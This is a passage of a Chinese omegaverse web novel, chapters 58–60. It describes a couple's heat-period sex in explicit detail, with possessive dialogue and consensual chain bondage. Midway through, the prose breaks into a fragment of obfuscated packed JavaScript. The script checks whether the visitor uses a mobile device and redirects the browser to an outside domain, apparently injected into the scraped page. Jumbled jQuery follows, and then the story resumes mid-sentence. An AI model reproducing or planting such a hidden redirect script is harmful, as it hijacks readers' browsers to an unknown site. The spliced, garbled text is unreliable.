他从过去得到赦免,曾经拯救他的人再次朝他伸出手。 商随浑身颤抖,终于忍不住问:“可以亲你一下吗?” 时绮仰起头,先一步触碰到他的唇。 他们在绚烂的无尽夏花海中相拥、亲吻。商随含住他的唇瓣,轻轻摩挲,接吻间隙呢喃道: “我好幸运,能遇见你。” 见他说得煞有其事,时绮不禁笑起来:“当然了。” “遇见我可是很难的,而且你遇见两次,说明运气还不错。” 被他骄矜的模样勾到,商随捧起他的脸,又一次低头亲吻。 和刚才浅尝辄止的吻不同,Alpha的动作粗鲁又直白,恨不得将他吞吃入腹。 “唔唔……!” 时绮被咬了好几下,又痛又麻,另一个人强烈的情绪在这个吻里展现得淋漓尽致,即使是轻微的疼痛,此刻也带给人奇异的爽快。 商随喜欢他好像喜欢得快要疯了。 意识到这个,时绮弯起眼睛,心底有一道声音发出满足的喟叹: 就该这样。 如果因为他疯掉,再好不过。 他也毫不客气咬回去,尖尖的虎牙一不小心戳破商随的唇瓣,很快尝到甜蜜的血腥味。 不等时绮心生歉意,商随好似更兴奋,原本揽在他腰上的手向上移,和先前颤抖的模样不同,修长的五指禁锢在他脑后,将Omega困于方寸之间,不得逃离。 时绮发出轻微的声音,仿佛被弄得太痛、又像是喜欢。 意识到自己太过粗鲁,商随赎罪一般轻轻舔舐自己啃咬过的地方,水声黏腻地勾着他的舌尖吮吸。 浅浅淡淡的蜂蜜味逐渐变得浓重,时绮浑身不由自主发热。 商随是太过激动,释放了大量的信息素吗? …… 不对。 时绮慢半拍地意识到,不是商随释放了信息素,而是他对信息素的气息变得格外敏感。 身体的反应变本加厉,某些地方甚至变得湿润。 时绮快要站不稳:“等一等,我好像……!” Alpha一直缠着他不放,时绮说不清楚话,只能伸手推了一把,商随这才如梦初醒停下。 “嗯……?” 他亲得食髓知味,根本不想和时绮分开,被迫中断后撩起眼皮看他,脸上却满是渴求。 看清楚商随此刻的模样,时绮心头一跳。 如果不是确定商随的信息素处于稳定状态,时绮险些以为他进入易感期。 时绮低声说:“我发情期到了。” Alpha仿佛丢掉所有生理卫生知识,重复一遍:“发情期?” “……” 那几个字被他说出来无端令人面红心跳,时绮低声骂道:“你是笨蛋吧。” 和他比起来,商随才像在发情,还是脑子都烧傻那种。 他才腹诽完,仿佛终于想明白那句话究竟意味什么,Alpha望过来目光透出不加掩饰的迷恋: “小绮、宝宝、亲爱的。” 他一连叫了许多个爱称,时绮招架不住,脸上渐渐发热。 “好喜欢你,我快疯了。” 商随贴近他,黏黏糊糊地说:“想和你做-爱。” 58.漩涡 “可以不用抑制剂吗?” 不等时绮做出反应,商随啄了一口他的脸颊,小声承诺道:“我会努力让你快乐的。” 时绮对上他眸光盈盈的眼睛,身体越来越热。 半天没等到时绮回答,商随干脆用脸颊蹭他的脸:“求你了。” 与他相比,商随的体温总是偏低,冰凉细腻的面颊肌肤贴着他磨蹭,令时绮觉得比他高大许多的Alpha仿佛黏人的宠物。 与撒娇般的举动不同,蜂蜜的香味越发馥郁,甚至透出些许侵略性,蠢蠢欲动将他包裹其中。 一想到要做到最后,时绮心底生出一阵难以抑制的期待。 不知道是发情期影响、还是单纯的兴奋,他指尖微微发抖,表面上矜持地说:“那试试。” 商随眼睛倏忽一亮。 时绮故意道:“如果我不喜欢就停下。” Alpha没脾气一样答应:“好哦。” 商随说完捧起他的脸,眼眸弯起,似乎十分开心。 时绮迟疑地问:“你不会想在这里吧?” “这里?” 商随整整愣住三秒,下意识看了一眼周围层层叠叠的花丛,反应过来以后,不由自主笑了一下。 须臾过后,他又忍不住笑了一声。 他都不敢想象类似的场面,时绮脑子里都装的什么东西? “原来小绮喜欢这样啊,”商随故意扭曲他的意思,言辞暧昧,“露天的,也不是不行。” “我喜欢个——” 脏话到嘴边,时绮见他笑得止不住,心里涌起一股懊恼:“笑什么!你再笑就别做了!” 他说话的同时踹了商随一脚,虽然不太高兴,还记得收着力。 商随却顺势抓住他的手腕,将他往怀里拽,时绮脚下一个踉跄,商随趁机将他一把抱起: “当然是去床上。” 时绮耳根一热,不再动弹。 片刻过后,又觉得不对。 去就去,有什么值得不好意思的?商随看着一点儿都不害臊。 时绮不想输他一头,索性主动伸腿盘住他的腰,整个人挂在商随身上。 对商随来说,他的重量就像轻飘飘的羽毛。 为了不挡住商随看路,时绮将脑袋埋进他的颈窝里,片刻过后,Omega情不自禁凑近他的腺体,轻轻嗅了嗅。 这一下犹如星星点点的火焰轻轻一颤,而后陡然炸开。 原本还算清醒的大脑以极快的速度变得晕眩,时绮仿佛被猫薄荷迷晕的猫。甜蜜的、馥郁的味道令他的腺体微微鼓起,迫不及待在皮肤下跳动。 “商随……” 好想要更多。 商随从余光里看见时绮白金色的发丝贴着他蹭来蹭去,像是急不可耐。 他单手抱着时绮,进到室内反手落锁,笑吟吟回答:“在呢,真乖。” 小洋楼内墙壁是做旧的粉色,家居布置以丝绒和木质为主,极繁的复古风格令人联想到上世纪电影里纸醉金迷的画面。 商随抱着他从旋转楼梯上到二楼,抬脚踢开主卧门。与记忆中一样,时绮看见胡桃木的大床置于卧室正中,其上堆放一只只亚麻抱枕。 梦见过很多次,亲眼看见还是时隔六年第一回。 商随将他放在床上,替他脱掉鞋。时绮四肢发软、浑身仿佛泡在热水里,他跪坐在床边,下意识用目光追逐商随的身影。 伴随他们的动作,床上堆放的抱枕先后滚落至地毯。时绮脑海中倏忽闪过高中时做过的梦。 梦里看不清脸的Alpha在这一刻有了清晰的面容,对方伸出手,爱怜地摩挲他潮红的脸颊。 时绮对上这双狐狸似的眼睛,心脏怦怦直跳。 他终于明白自己为什么会幻想那样的场景。一想到梦里Alpha在亲吻的同时细细抚摸他的脊背,时绮的喘息渐渐加重: “你到床上来,”他命令道,“亲我。” 时绮仰起头,往日清纯漂亮的面容透出艳色。像是还嫌此刻邀请的意味不够,时绮眸光潋滟的眼睛一瞬不瞬,自下往上注视他。 商随动作一顿,眼神闪了闪。 他一条腿撑地,膝盖曲起压在床上,半跪在时绮身侧。 在时绮以为他们要接吻的时候,商随往后探,唇瓣触碰到Omega白玉似的脖颈。 发情期令时绮格外敏感,腺体传来一阵又一阵热意。 商随一点一点啄他的颈侧,带着香味和湿热温度的触碰如同令人上瘾的迷幻剂,时绮从喉咙里发出一声细微的呜咽,情不自禁搂紧他。 好舒服。 浑身轻飘飘,仿佛置身于云端。 像是被他可爱的反应取悦到,商随轻声问:“看来我可以继续了?” 不等时绮回应,他的齿尖抵住Omega后颈的腺体,加重力气吮吸。 轻微的刺痛令时绮一瞬间从云层下坠,他浑身一颤,半坐在抱枕上,紧紧夹住腿。 时绮的腿又直又长,曲起的膝盖透出一层薄纱般的淡粉。商随冰凉的手指轻轻覆上,黑色短裤往上卷,露出大腿根处小小的红痣。 信息素不受控制溢出,铃兰的香味在空气中浮动,Omega仿佛逐渐绽放的花。 “舒服吗?” “嗯……”时绮迷迷糊糊回应,“还要。” 比起温柔的亲吻和吮吸,他想要更重、更为粗暴的对待。 时绮不好意思说出心里隐秘的渴求,只能期盼商随能再过分一些。 想被标记,想被咬。 本能几乎令他恨不得贴在商随身上乱蹭,可对方只是啄他的脖子,暂时没有更进一步的意思。 时绮想催他,又觉得一旦开口显得自己十分急切,只能四处乱看转移注意力。 角落里的置物架放有五彩斑斓的颜料、桌上插着娇艳欲滴的重瓣牡丹,就像屋主人从未离开。 “你……你先前特意准备过?” 商随最后依依不舍舔了舔他的脖颈,仿佛品尝极为美味的食物。 时绮能感觉到他的呼吸渐渐变重,像是同自己一样意乱情迷,说话的语气勉强算得上平稳:“原本以为故地重游能让你回忆起一部分过去,没想到沈千俞先一步给你开了药,还不告诉我。” 商随模棱两可评价:“他倒是挺有职业道德。” “你会和他生气吗?” “当然不,我在想该怎么好好谢他。” 时绮脑子烧得厉害,还是不忘道:“我已经回报过他了。” 意识到时绮口中的“回报”是指江砚,商随一下子笑起来。 他的手指撩开时绮的衣服下摆,将他翻过身去: “坏猫。” 时绮的脸被迫埋进床里,身上倏忽一凉。 手指顺着脊背滑动,时绮面颊涨红,发出叫声。 …… 他的大腿不断发抖,到最后甚至有些抽搐,却被商随死死按住,不得逃脱。 时绮下意识挣扎:“不、不要!” 可他没想到,另一个人竟是真的停下。 他仿佛被放置在上下不得的地方,横竖都不快活,时绮足足反应半晌,才敢相信商随没再动作。 他快被逼疯,转过脸质问:“你怎么突然——” 停下了? 与他狼狈到不能自持的模样相比,商随看起来丝毫不受影响,甚至很有闲心地将先前的对话翻出来: “我答应过你,不喜欢就停下。” 时绮大脑空白片刻,有一瞬间,甚至看见Alpha头顶长出恶魔尖尖的角。 他又气又羞耻,气急败坏抬腿踹人。可时绮现在没什么力气,双腿在商随身上没蹬几下,反倒被一把扣住。 “怎么还动手动脚啊,小绮。” 商随脸上流露出兴致盎然的神色,一左一右扯住两只脚踝,将时绮往下拽。 他低垂下来的目光若有实质,蛇一般一寸寸爬过时绮的肌肤。 时绮身上只有一件被推上去的T恤,意识到商随正肆无忌惮打量他,时绮羞耻到极点,索性破罐破摔: “继续、快一点!你给我继续!” 商随笑着俯低身,时绮这才发现他的异常。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579896|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同游刃有余的表现不同,商随的反应甚至比他更加过火。时绮被紧紧抵住,整张脸都烧起来。 他低声问:“你是多久……?” “早就这样了。” 在时绮面前,他没那么好的自制力。 倒不如说,他忍得都快爆炸了。 这一次他们面对面,商随一边吻他,一边继续刚才的事。 …… 时绮短暂失去意识,再回过神,望着天花板上璀璨的花枝吊灯,只觉得目及之处的画面仿佛分割为晶莹剔透的碎片。 片刻过后,他才发现自己眼角湿润,流出眼泪。 可是,仅仅靠手好像不够。 甚至因为亲吻和刚才的亲昵,他变得更加渴望,身体里的热意快要无法遏制。 “宝宝,脸好红。” 商随伸手捧起他的脸,将瘫软在床上的时绮抱进怀里,替他撩开零碎的发丝:“眼睛湿漉漉的,好漂亮。” 时绮忍无可忍瞪了他一眼,商随目光一顿,竟是更加迷恋注视他:“瞪人的样子也漂亮。” “……” 疯子。 即使知道商随脑子不怎么正常,时绮也无可避免被他话语中透出的爱意感染,身体在甜言蜜语中一点点变得酥软。 他这才注意到,商随的衣服不知何时落在地上,那些多余的亚麻抱枕都滚落到一旁。 璀璨灯光下,Alpha每寸肌肤完美无缺,修长结实的肢体透出极强的爆发力,锁骨处的蝴蝶纹身振翅欲飞。 商随伸手揽住他纤薄的背,将他压进自己怀里,隔着薄薄的T恤咬他。 原本干燥的亚麻床单变得格外滑腻,时绮发泄似地踩住最后一只抱枕,又忍不住将它踹开。 他们紧紧贴在一起,商随却毫无预兆停下。 时绮被翻来覆去、陆陆续续折磨许久,终于不堪承受。 他涨红了脸,气息模糊骂道:“你、你有病吧?还做不做了。” “不是说好了?” 商随低低笑起来,抬手掐住时绮的下巴:“你不允许的话,我不能继续。” 和先前玩闹似的模样不同,他蜷曲的手指轻轻摩挲时绮的肌肤,明明算得上温柔的动作,却透出一股无形的压迫感。 “喜欢还是不喜欢?” 他说话的同时,抵住时绮,言行间充满暗示。 时绮望着他眼尾因情动而漫开的晕红,如同受到引诱,神色恍然回答:“喜欢,我喜欢你。” Omega白皙的面颊浮着桃花般的绯色,小巧挺巧的鼻尖蒙着一层薄薄的汗,双眼犹如一汪春水,懵懂又痴迷地说着喜欢。 真犯规。 明明不是正确答案。 商随呼吸乱掉一拍,换了个问题逼他:“你想要我做什么?” “你明明知道……!” “我知道,但我想听你亲口说。” 时绮从喉咙里挤出微弱的声音,像被他逼得快要崩溃,不知道是憋得想哭,还是又想骂他。 “哭什么,我不是一直很听你的话吗?” 商随变本加厉,凑上来舔他的眼泪。 不知道是他对时绮太过迷恋,还是信息素的影响,时绮的泪水似乎都带着铃兰的香气,仿佛自花瓣滚落的晨露。 时绮终于意识到,商随从最开始就打算好一切,连他的反应都提前预料,只等待他落入圈套。 和看似顺从的话语不同,商随的行为明明恶劣到极致。 烧得晕晕乎乎的大脑迟钝地转动,想到商随先前叫他等着,时绮终于明白他究竟想听自己说什么。 “我、我想你——” 时绮咬了咬唇,迟迟说不出口。 他眸光转动,才注意到商随额头有一层薄汗,同样忍得十分难受。 见他目不转睛注视自己,商随轻柔地诱哄道: “说出来,小绮。” “只要你愿意,我们都会快乐的。” 商随的声音仿佛魔咒,将他拽入深不见底的漩涡。 时绮浑身颤抖,无暇思考,哭叫着说出那两个字。 59.亲密 时绮一把抓住商随的手腕。 过于强烈的感受令他的瞳孔有一瞬间失焦,表情也变得空白。直到商随伸手触碰他的脸颊,他才发现自己险些失去意识。 商随的声音透出些许喑哑,同样不太好受:“还好吗?” “呜……!” 时绮发出似痛苦又似欢愉的回应,手指一寸寸掐进商随的手臂。 片刻过后,时绮稍微缓过神,意识到自己快把他挠出血,又立即放开。 “受不了就挠我。” 商随主动抓住他瘫软的双手,往自己的身上带:“稍微放松点,宝宝。” 时绮没有多余的力气,软绵绵攀上他的肩膀。 商随见他渐渐能喘过气,补完后半句:“别那么紧。” 时绮呆滞地看向他,猫一样的眼睛睁得大大的。 下一瞬间,时绮发出短促的尖叫。 他的指尖抑制不住,颤抖着在商随背上乱抓,崩溃一样的反应勾得商随更加肆无忌惮。 Omega双颊满是潮红,花瓣般的唇微微开启,露出的一小截齿尖犹如珍珠蚌壳内部的珠光。 “等…嗯……!”时绮断断续续的声音被全部吞没,商随一只手压住他,另一只手迫不及待捧起他的脸。 属于Alpha的信息素铺天盖地压下来,和主人一样,将时绮囚禁在方寸之间。 亚麻质的床单摩挲出沙沙声响,混合其他黏腻的声音。 时绮眼球微微上翻,往日清透的眼瞳变得分外迷离。 他精雕细琢的小脸带着泪水,彻底失去思考能力。 商随着迷地注视他,丝毫移不开眼。 他情难自禁,亲了一口时绮湿漉漉的脸颊:“好可爱。” 时绮浑身发抖,只觉得商随的举止令人脊背发麻,竟下意识想要逃离: “救、救命……” 他整个人颤颤巍巍,犹如暴雨中摇来晃去的花。 商随见他挣扎,反而更加兴奋,眼里弥漫开浓重的兴味。 “哎呀,”他情意绵绵地问,“小绮在跟谁求救?” 与看似温柔的话语不同,商随握住时绮的腰,将他死死禁锢在原地: “除了我,这里没有任何人。” 时绮挂在他肩上的双臂不由自主收紧,啜泣一样的回应模糊不清。 一想到时绮此刻和他亲密无间,商随的眼眸微微眯起,宛若爬行动物花纹诡异的竖瞳。 “你是我的,我一个人的。” Alpha艳丽的脸庞浮现出病态的喜悦,濒临失控的信息素也如易感期到来那般陡然爆发:“永远都是。” 浓郁的蜂蜜气味四下蔓延。有一瞬间,时绮几乎以为自己是被困在树脂中的飞虫,只能徒劳挣扎,最后被半透明的汁液凝成美丽的琥珀。 他迟钝地眨了一下眼,下意识看向近在咫尺的Alpha。 商随笑着鼓励:“对,好聪明,只看着我就好。” 时绮长长的睫毛如蝶翼一般颤动,深灰色眼瞳中满是他的身影。 商随脸上笑意加深,柔情似水问:“小猫宝宝,那我是谁?” “商随……” “换个称呼,我想听别的。” “你想听、听什么?” “你猜猜看?” 时绮张了张口,正想说话—— 突如其来的变动令他嗓音变调,毫无防备叫道:“我……我不知道、不知道!” 商随握住他乱蹬的双脚,手指扣紧,而后径直架上自己肩膀。 时绮混乱中求救一样把能想到称呼全叫了一遍:“哥哥、小随哥哥!呃嗯…?!怎么不停下……!” 商随稍微停顿,旋即变本加厉,如同彻底抛弃枷锁的兽类,恨不得将他每一寸都据为己有。 时绮快疯了,胡乱猜测:“亲、亲爱的?” 充斥侵略欲的大脑毫无防备被挠了一爪,仿佛被猫咪粉嫩柔软的肉垫贴上。 商随闷笑起来:“太可爱了,宝贝。” 他低头含住时绮的唇瓣,交换了一个缠绵至极的吻。 甜蜜的气息在嘴里融化,高匹配度的信息素于混乱中犹如清泉,即使只是饮鸩止渴,也暂时缓解时绮身体里灼烧般的热意。 时绮从过量的刺激中清醒过来,渐渐开始回应。 被占据的感受令他头晕目眩,心里同时涌出一股奇异的满足。 他在商随身上嗅到自己的信息素,清澈纯美的香气将Alpha包裹其中,仿佛花枝紧密地缠绕树木。 确定商随从头到脚都是属于他的味道,时绮的双臂紧紧勾住他的脖颈。 是我的了。 一想到这个,时绮心底生出一阵兴奋,反过来发泄一样吮吸商随的唇。 他毫不客气啃咬商随的唇瓣,勾着对方和自己接吻,像是恨不得留下伤口作为记号。 商随见状,更加激烈地回应他。 逐渐适应之后,时绮开始飘飘然。 他不由自主对这种感受上瘾,主动缠住Alpha索求,仿佛柔软无骨的猫科动物。 时绮的呼吸透出铃兰的馨香,漂亮饱满的双唇吐出暧昧的言语: “抱我,商随,抱着我……” 修长结实的手臂绕到时绮背后,将他压入怀中。 商随双目一瞬不瞬,着魔般望向他,将时绮动人的情态刻进脑海。 几乎是同一时间,窗外传来一阵沉闷的雷鸣。 先前还算明朗的夜空毫无预兆阴沉,远处天空积攒起沉沉黑云,闪电的强光令室内景象短暂变为黑白。 商随瞥了一眼窗外,语气不明:“真够巧的。” 偏偏在这时候下雷雨。 时绮双腿缠上他的腰,呼吸零碎不堪,仍是在第一时间安慰他:“别害怕。” 商随没有说话,与时绮脸颊相贴。 他们身上都浮着薄汗,满是对方的信息素,如同两株死死交缠在一起的藤蔓。 商随轻轻撩开时绮湿润的浅色发丝,让那双剔透的眼睛完整露出来。 他轻声开口,既像剖白、又像誓言: “有你在,我永远不会害怕。” - 暴雨后明亮的阳光斜照入室内。一夜过去,室内蜂蜜与铃兰的香味仍浓郁至极,犹如糜艳的花丛。 商随五指收拢,握住枕边人小一圈的手。 时绮太过疲惫,日上三竿仍处于沉眠之中,他呼吸均匀,白皙的面颊泛着一层熟睡的薄红。 像沉睡的小精灵?或者误食毒苹果的公主? 商随正在脑补有的没的,时绮纤长浓密的睫毛颤了一颤,慢慢睁开眼。 才苏醒过来,Omega神情懵懂,似乎有些不明白状况。 商随不禁笑起来,捏了捏他纤细的手腕。 “早上好,宝贝。” 时绮对上咫尺之遥的另一双眼睛,记忆慢慢回笼。 昨晚的画面陆陆续续涌入脑海,他的脸颊逐渐开始爆红。 尤其是想到自己后面抑制不住想去厕所,商随竟然、竟然一路抱着他……! 还对他说那些话。 昨晚之前,他从没想过商随脑子里装了那么多脏东西,说下流都算便宜对方。 好不容易洗干净回来,商随又抱着他弄,时绮到后面神志恍惚,自己也半推半就说了许多胡话。 光是想起来,手指便不自觉蜷缩。 “怎么了,一醒来就这副表情。” 时绮忍不住骂他:“你真变态。” “嗯,我是变态,”商随笑眯眯地答应,不以为耻反以为荣,“你喜欢吗?” “……” 过于熟悉的情况令时绮条件反射头皮发麻。 昨晚也是这样。 实在太过羞耻,就算他获得了无与伦比的快乐、心里其实喜欢被这样对待,也别扭地不愿承认。 商随见他害羞,到后面干脆精神操控他,一直追问他喜不喜欢、还要不要,各种露骨的言语不断往外冒。 时绮反应过来,第一时间道:“不准精神操控我!” 再说下去时绮估计会爆炸,商随见好就收。 “好好,不闹了,我们去洗漱。” 他率先起身,绕到另一侧抱起时绮:“饿不饿?我让人送了吃的。” 两个人黏黏糊糊进到卫浴间,中途时绮想起自己在这里经历过什么,泄愤似地踩了他一脚,很快又被一个温柔的吻哄好。 他们都没穿衣服,洗漱后商随拉开衣柜,随手拿了件睡袍披上。 时绮看见睡袍背后繁复的刺绣,心说你真是时时刻刻不忘保持精致。 商随问:“你想穿什么?” 时绮趿拉拖鞋走到衣柜边。 漆黑的木质衣柜镶嵌有华丽的彩贝雕饰,左边挂着T恤、衬衫一类的日常服装,右边那一排颜色各异的衣物则令时绮睁大眼睛。 后背绑带的抹胸纱裙、粉黑相间的女仆装、缀满荷叶边的纯白围裙、水手服、短旗袍。 折叠区和抽屉里则依次放有 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商随挑选的衬衣十分宽大,袖口和深V领口缀有层层叠叠的蕾丝,是法式宫廷的款式,轻盈的下摆遮住大腿。 蕾丝衬衫需要从后面系上,时绮看着镜子里的自己,吐槽道:“效果跟穿裙子差不多了。” 商随笑笑,手掌下滑:“小绮腿好直。” 时绮的双腿笔直修长,但现在没有什么力气,只能软软站着。 他腿上的红痣昨晚被翻来覆去研磨,在雪白腿根上犹如绽放的绯红花瓣。 时绮多少觉得自己的模样有些放浪,正想让他给自己找条裤子,商随给他穿上内裤,就这么抱着他下了楼。 “你……” 商随弯眼看他:“嗯?” 见商随好像很开心,时绮话到嘴边,又咽下去。 算了,随便吧。 他双腿格外酸软,懒得走路,索性就让另一个人伺候他。 商随一路走到餐桌边,拉开椅子,抱着他坐下。 时绮配合地岔开腿,面对面跨坐在他身上。 在时绮睡觉的时候,佣人来过一楼,餐桌上放着各色美味佳肴。 大多数Omega发情期为三四天到一星期,期间大都吃不下东西,只能喝水。 想到时绮平时的口味,商随特意要了甜品,让厨师尽量做得清淡。 但时绮只厌倦地看了一眼,转身把头埋进他的肩膀。 商随一边因为他亲人的举动心软,一边又有些心疼。 他哄小孩一样轻拍时绮单薄的背,柔声问:“不想吃?” 时绮闷闷嗯了一声。 怕他脱水,商随喂他喝了一点甜甜的果汁饮料。 似乎不想动弹,时绮懒洋洋地张开唇,就着他的手里的玻璃杯小口小口喝东西。 喂完他以后,商随想到什么:“先前没来得及问,过去的事情你具体想起多少?” “差不多到千灯节,中间有一段空白,然后是你易感期的雷雨天。”时绮低声说,“就是我们分开那天。” 商随若有所思:“这样。” 时绮看他的神色:“有什么重要的事情吗?” “我给你讲过一个故事,讲到一半,我们就分开了。” “等你想起那段记忆,我想把完整的故事告诉你。” 关于为什么讨厌雷雨天,以及我曾经被你拯救。 时绮点点头,犹豫片刻后,直起身子靠近他。 昨晚被商随喂得太饱,先前在楼上换衣服,时绮都没感觉到异常。 但渐渐的,身体深处灼烧般的感受再次弥漫开来。 发情期还没结束。时绮舔了舔唇,倏忽感到一阵饥饿,却无法靠进食填补。 比起食物,他更想接吻。 衬衫的下摆很快变得湿润,商随同样察觉到他的变化。 时绮只害羞了一瞬,便顺从本能,上前啄了一下商随的唇。 Alpha反过来吻他,他们都才喝过果汁,唇瓣相贴,带着酸酸甜甜的味道。 时绮心痒难耐,却迟迟等不到他有进一步的动作。 他不满足于浅尝辄止的亲吻,单手勾住商随的脖颈,纤长的手指滑至敏感的腺体,催促性地捏了捏: “我想要。” 商随呼吸一滞,还有些不敢确定他想要什么。 时绮轻轻咬他的唇瓣,声音模糊地说出心里话:“你可以再粗暴一点……” “就像昨晚一样。” 60.失控 时绮慢慢睁开眼睛,茫然地望向天花板。 如同从漫长而旖旎的梦境中醒来,身体里的热潮趋于平稳,发情期不知餍足的欲望也被填满。 与此相对应的是,他手脚都软趴趴的,没有一丝力气。 他眨了一下眼,试着活动身体。 伴随他的动作,脚踝处传来些微动静,有什么沉重的、坚不可摧的东西将他困在床上。 嗯? 时绮勉强抬手,掀开蓬松柔软的羽绒被,旋即不可思议睁大眼睛。 金属制的锁链如蛇一般缠绕在笔直修长的双腿上,漆黑的颜色与雪白肌肤对比格外强烈。 似乎怕他受伤,时绮脚踝上缠着一对毛茸茸的雪白脚环,铐链恰好卡在外面,避免直接接触金属坚硬的内里。 脚环上连着金色的小铃铛,伴随他的动作摇晃出清脆声响。 细细碎碎的铃铛声乍然打破诡异的场景,时绮回魂一般晃晃脑袋,再次看向自己的脚踝。 不是梦。 他身上怎么会带着这种东西? “睡醒了?” 听见熟悉的声音,时绮扭过头。 商随推门而入,边擦头发边向他走来。Alpha才洗过澡,湿漉漉的长发散在颈后,刘海下的眼睛分外明亮,浑身透出慵懒而餍足的气息。 时绮立即问:“为什么会有这个?” 发情期的记忆零碎又混乱,他对脚上的锁链毫无印象,下意识向商随寻求帮助。 商随见他掀开被子,仰头看向自己。 时绮身上只有一件酒红色的真丝睡衣,双腿微微曲起。他的大腿和小腿都被细致舔吻过,绯红痕迹一路蔓延,仿佛雪地盛开的桃花。 商随的目光不由自主一顿。 意识到自己心跳加速、无可避免变得亢奋,商随掐住指尖,逼迫自己清醒过来。 不行。 他昨晚给时绮做了临时标记,也答应对方到此为止,不再继续。 Alpha的身体构造相较Omega更适合侵略与征服,爆发力与持久力都更为强悍。与一般Alpha相比,他的体质更加特殊、也更难以满足。 时绮一开始因为本能闹得厉害,缠着他做,后面却受不了开始求饶。 最厉害的一次更是迷迷糊糊,逃跑一样往床下爬,如果不是他眼疾手快托住,时绮能直接摔在地毯上。 他当时故意捉弄人,干脆就这么悬在床边,没有停下。 想到时绮后来因为缺乏安全感手脚并用缠住他,商随眼皮微微一跳,不禁涌起一股邪火。 反应过来,他在心里骂了一句。 操,别想了。 半天没等到答案,时绮歪歪头,疑惑地叫他:“商随?” 被叫到名字的Alpha目光挪到锁链上,而后顺势看向时绮。 才刚睡醒,Omega白金色的发丝乱糟糟的,却丝毫不影响容貌,一两根乱翘的发丝令他看起来格外懵懂。 见时绮似乎暂时忘记发情期的情景,商随将擦头发的浴巾扔到一旁。 “小绮看不出来吗?你被困在这里,哪都去不了。” 他慢慢走到床边,视线凝在时绮身上:“在祁江容易被找到,过几天带你回首都,或者出国,我会找个安全又漂亮的地方,把你藏起来。” 时绮大而明亮的眼睛光华流转,像在思考他的话是真是假。 商随放轻声音:“我一定好好照顾你。” “时间久了,你会慢慢忘记其他人,每天只见我一个,只和我说话。” 他说到后面弯下腰,伸手抬起时绮的脸。 时绮望着他沉沉的眼睛,在其中看见翻涌的欲念。 片刻过后,时绮开口指使他:“那你也去找个链子,跟我锁在一起。” “嗯……?” 像是没想到他会这么说,商随怔愣片刻,笑吟吟答应:“好啊。” 时绮撇撇唇,不知道是委屈,还是无语。 商随伸出手,替他整理略显凌乱的头发:“你不相信吗?” “别演了,我都想起来了。”时绮毫不客气拆穿他,“链子是我自己扣上的。” 零碎的画面陆陆续续从脑海中闪过,时绮尝试将它们组合起来,终于大致拼凑出先前的情景。 他缠着商随索取,一路跌跌撞撞从餐桌到卧室,在发情期的后半程,主卧变得混乱不堪。 他们在第三天到了次卧,进门的时候,时绮注意到室内放着沉重坚固的锁链。 他问了商随,才知道六年前那晚过后,商随没多久就特意定制了合金锁链,即使不住在这边,也像为弥补过去的错误,将牢不可摧的枷锁留在房子里。 “所以……”想到他易感期将自己锁在画室,时绮终于反应过来,“你这么多年用链子困住自己,是因为我吗?” 商随立即否认:“只是我的习惯,和你没关系。” 即使他过去一度认为自己易感期做错了事、导致时绮离开,说到底用锁链是他做出的选择,不能将责任推到时绮身上。 “真的,是我自己想这样。”商随见他一直垂着眼睛,似乎心情不好,想办法安慰他,“而且我跟沈千俞商量过,以后会用别的方法度过易感期,不会再用到它们。” 时绮倏忽抬头:“你是不是很害怕?” “……” 不等商随开口,时绮走到黑沉沉的链条旁边。 他伸出手,抓起链条,在商随惊讶的目光里,干脆利落地将铐链扣上自己的脚踝: “这样就不用怕了,我不会离开你。” 商随张了张口,想说什么,最终神情莫测望向他。 时绮看见他一步步向自己走来。侧卧在他们进门时只开了一盏小灯,Alpha高大的身影几乎遮蔽所有光源,总是带着笑意的眼睛一寸寸掠过时绮的脸庞。 原本平稳的信息素不受控制溢出,商随的目光阴鸷而炽热,如同幽幽燃烧的火焰。 时绮见他快要失控,心里竟是涌起一股不清不楚的愉悦。 “还有一只,”时绮说,“你亲手来扣吧。” 商随拿过铐链,在他面前半跪下。 曾经令他无比厌恶的枷锁在此刻被赋予全然不同的意义,他撩起眼,时绮正目不转睛注视他。 他抓住时绮纤瘦的脚踝,后者配合他的力道抬起腿。 商随停下动作,忽然道:“你似乎对我太好了。” “Alpha都很擅长得寸进尺,就算在他们当中,我也很贪心,如果总是这样纵容我……”他说得半真半假,“说不定有一天,我会在你面前彻底失控。” 或许和他的性格有关、又或许时绮是他失而复得的珍宝,连他自己都能感觉到,他对时绮的感情混合着不正常的偏执,强烈到无法遏制。 “那你试试。”时绮淡淡地说,“试试看,我能不能管住你。” 原本松松圈住他脚踝的手腕骤然收紧,时绮略一挑眉。 疯掉了? 咔哒一声—— 时绮的左脚同样被扣上铐链。 特质的合金锁链比想象中还要沉重,几乎像被钉死在原地,不等他适应,便被人猛地一推。 他被迫倒在床上,因为冲击力太过强烈,被锁链缠住的双腿短暂在空中踢了一下。Alpha小山般的重量同时压上来,商随用膝盖顶开他的腿,居高临下注视他。 时绮情不自禁弯起眼。 他伸出手,手指从高挺的眉骨划到鼻梁,再轻轻触碰商随眼尾的泪痣。 就好像他面对的不是一个信息素快要爆炸、神情濒临癫狂的Alpha,而是能被随意操控的玩具。 “你故意的?”商随见他居然还有闲心触碰自己,不知道该算挑衅、还是不知死活的勾引。 他舔了舔齿尖,几乎想把时绮艹死在床上:“逼疯我对你有什么好处?” 时绮反而流露出新奇的表情。 原来他随便一句话、一个动作,就能轻易让商随失去理智。 他喜欢的Alpha,这么喜欢他。 “不知道,”时绮心情愉快,实话实说,“我只是觉得很有趣。” …… …… “想起来了?”商随见状,不再故意吓唬他,转而示意他脚上的铐链,“帮你解开吧?” 时绮的后颈微微发烫,属于另一个人的信息素留在他的身体里,散发出甜丝丝的气味。 昨晚商随为他做了临时标记,发情期得以结束。 AO之间的标记能够连接身体,通过记号,他似乎也能感知到一点儿Alpha的情绪。 商随好像很喜欢他被困住的模样,不太舍得解开。 时绮索性配合他:“暂时不用。” 大概是第一次上床,商随一直非常照顾他的感受。 除了被逼到失控那一晚,商随都在尽可能服务他,让他满足和快乐。 